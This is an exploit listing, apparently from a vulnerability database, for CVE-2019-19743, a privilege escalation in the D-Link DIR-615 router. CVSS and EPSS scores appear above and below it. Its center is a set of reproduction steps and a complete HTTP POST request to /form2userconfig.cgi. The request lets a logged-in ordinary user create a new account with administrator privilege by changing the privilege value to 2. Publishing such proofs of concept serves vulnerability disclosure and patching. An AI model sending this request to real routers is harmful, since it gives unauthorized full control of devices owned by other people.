CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:L/Au:S/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
EPSS
Percentile
73.8%
# Exploit Title: D-Link DIR-615 - Privilege Escalation
# Date: 2019-12-10
# Exploit Author: Sanyam Chawla
# Vendor Homepage: http://www.dlink.co.in
# Category: Hardware (Wi-fi Router)
# Hardware Link: http://www.dlink.co.in/products/?pid=678
# Hardware Version: T1
# Firmware Version: 20.07
# Tested on: Windows 10 and Kali linux
# CVE: CVE-2019-19743
# Reproduction Steps:
# Login to your wi-fi router gateway with normal user credentials [i.e: http://192.168.0.1]
# Go to the Maintenance page and click on Admin on the left panel.
# There is an option to create a user and by default, it shows only user accounts.
# Create an account with a name(i.e ptguy) and change the privileges from user to root(admin)
# by changing privileges id (1 to 2) with burp suite.
# Privilege Escalation Post Request
POST /form2userconfig.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 122
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/userconfig.htm
Cookie: SessionID=
Upgrade-Insecure-Requests: 1
username=ptguy&privilege=2&newpass=pentesting&confpass=pentesting&adduser=Add&hiddenpass=&submit.htm%3Fuserconfig.htm=Send
# Now log in with newly created root (ptguy) user. You have all administrator rights.
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:L/Au:S/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
EPSS
Percentile
73.8%